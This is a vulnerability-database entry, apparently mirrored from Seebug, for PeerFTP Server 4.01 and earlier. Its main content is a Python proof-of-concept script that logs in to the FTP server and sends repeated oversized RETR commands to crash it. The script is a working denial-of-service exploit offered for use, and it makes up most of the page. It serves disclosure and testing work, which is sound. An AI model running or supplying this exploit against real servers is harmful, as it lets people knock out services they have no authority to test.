Lucene search
K

PeerFTP Server <= 4.01 - Remote Crash PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

PeerFTP Server v4.01 Remote Crash PoC script for testing server vulnerabilit

Code

                                                #!/usr/bin/python

# PeerFTP Server &#60;=v4.01 Remote Crash PoC
# written by localh0t
# Date: 19/03/12
# Contact: [email protected]
# Follow: @mattdch
# www.localh0t.com.ar

from socket import *
import sys, struct, os

if (len(sys.argv) &#60; 3):
	print &#34;\nPeerFTP Server &#60;=v4.01 Remote Crash PoC&#34;
        print &#34;\n	Usage: %s &#60;host&#62; &#60;port&#62; \n&#34; %(sys.argv[0])
	sys.exit()


def checkDefaultUser(username,password):
	if username == &#39;&#39;:
		username = &#34;anonymous&#34;
	if password == &#39;&#39;:
		password = &#34;[email protected]&#34;
	else:
		pass
	return username,password

def createUser():
	username = raw_input(&#34;[!] Insert username (default: anonymous)&#62; &#34;)
	password = raw_input(&#34;[!] Insert password (default: [email protected])&#62; &#34;)
	return checkDefaultUser(username,password)

(username,password) = createUser()

print &#34;\n[!] Connecting to %s ...&#34; %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)

print &#34;[!] USERNAME: &#34; + username

sock.send(&#34;USER &#34; + username + &#34;\r\n&#34;)
sock.recv(1024)

print &#34;[!] PASSWORD: &#34; + password

sock.send(&#34;PASS &#34; + password + &#34;\r\n&#34;)
sock.recv(1024)

print &#34;[!] Sending payload...&#34;

payload = &#34;RETR &#34; + (&#34;X&#34; * 1000) + &#34;\r\n&#34;

for i in range (1, 5):
	sock.send(payload)

sock.close()
print &#34;[!] Exploit succeed. Target should crashed.&#34;
sys.exit()

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11